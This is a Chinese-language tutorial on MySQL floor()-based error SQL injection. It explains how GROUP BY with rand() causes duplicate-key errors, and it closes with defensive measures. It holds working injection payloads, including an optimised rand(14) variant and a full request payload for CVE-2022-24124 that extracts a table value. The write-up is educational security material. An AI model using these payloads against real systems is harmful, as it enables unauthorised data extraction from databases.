sql注入之floor报错注入原理学习
字数 1785 2025-08-23 18:31:24
MySQL Floor报错注入原理详解
一、Floor报错注入概述
Floor报错注入是一种基于MySQL数据库GROUP BY子句与随机数函数结合使用的SQL注入技术,通过人为制造主键冲突来获取数据库信息。
典型Payload形式:
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
错误输出示例:
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'
二、前置知识
1. 测试表结构
CREATE DATABASE sqli;
USE sqli;
CREATE TABLE users (
id int(3),
username varchar(100),
password varchar(100)
);
2. 关键函数解析
AS关键字
- 列别名:
select id as '用户ID' from users; - 表别名:
SELECT e.emp_name FROM employees AS e
连接查询
- 内连接:
SELECT e.emp_name FROM employees AS e INNER JOIN departments AS d ON e.dept_id = d.dept_id - 自然连接:
SELECT e.emp_name FROM employees AS e NATURAL JOIN departments AS d - USING连接:
SELECT e.emp_name FROM employees AS e JOIN departments AS d USING(dept_id)
FLOOR(RAND()*2)函数组合
RAND(): 返回0-1之间的随机浮点数RAND(0): 指定种子数,使随机序列固定RAND(0)*2: 将随机数范围扩展到[0,2)FLOOR(): 向下取整函数
示例输出:
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
CONCAT()函数
字符串拼接函数,如concat(database(),floor(rand(0)*2))会生成类似'sqli0'或'sqli1'的结果
COUNT()函数
count(*): 计算所有行数,包括NULLcount(column_name): 计算指定列非NULL的行数
三、GROUP BY工作机制
1. 正常GROUP BY流程
SELECT count(*) FROM users GROUP BY username;
执行过程:
- 创建临时表,GROUP BY字段作为主键
- 遍历原表记录:
- 如果主键不存在:插入主键,count(*)设为1
- 如果主键存在:count(*)加1
2. 关键特性:GROUP BY与RAND()的特殊行为
当GROUP BY与RAND()函数结合使用时:
- 如果临时表中不存在该主键,在插入前RAND()会再次计算一次
- 这个特性是导致主键重复报错的核心原因
四、报错注入原理分析
1. 执行流程详解
Payload执行过程:
SELECT count(*) from users GROUP BY concat(database(),floor(rand(0)*2));
详细步骤:
-
取第一条记录,计算
floor(rand(0)*2)=0 → 'sqli0'- 临时表无'sqli0',准备插入
- 重新计算
floor(rand(0)*2)=1 → 实际插入'sqli1',count=1
-
取第二条记录,计算
floor(rand(0)*2)=1 → 'sqli1'- 临时表已有'sqli1',count加1 → count=2
-
取第三条记录,计算
floor(rand(0)*2)=1 → 'sqli1'- 临时表已有'sqli1',count加1 → count=3
-
取第四条记录,计算
floor(rand(0)*2)=0 → 'sqli0'- 临时表无'sqli0',准备插入
- 重新计算
floor(rand(0)*2)=1 → 尝试插入'sqli1' - 但'sqli1'已存在 → 主键冲突报错
2. 报错条件
- 表中至少需要2条记录
floor(rand(x)*2)的序列需要满足特定模式(如011或101)
3. 优化Payload
研究发现floor(rand(14)*2)产生的序列1010...更适合少量数据:
-- 仅需2条记录即可触发报错
SELECT count(*) FROM test GROUP BY concat(database(),floor(rand(14)*2));
-- 输出:ERROR 1062 (23000): Duplicate entry 'sqli0' for key 'group_key'
五、实际应用案例
CVE-2022-24124漏洞Payload示例:
/api/get-organizations?p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(select 123 from (select count(*), concat((select (value) from flag limit 1), '~', floor(rand(14)*2)) x from (select 1 union all select 2) as t group by x) x)
六、防御措施
- 使用参数化查询
- 对用户输入进行严格过滤
- 最小权限原则,限制数据库用户权限
- 避免在SQL语句中直接拼接用户输入
七、总结要点
- Floor报错注入依赖于GROUP BY与RAND()的特殊交互行为
- 核心是利用主键冲突强制MySQL返回错误信息
- 需要表中至少有2条记录才能触发
rand(14)比rand(0)更适合少量数据的情况- 错误信息会泄露拼接字段的内容(如数据库名)
通过深入理解这些机制,安全人员可以更好地识别和防御此类注入攻击,同时也能在授权测试中有效利用这种技术。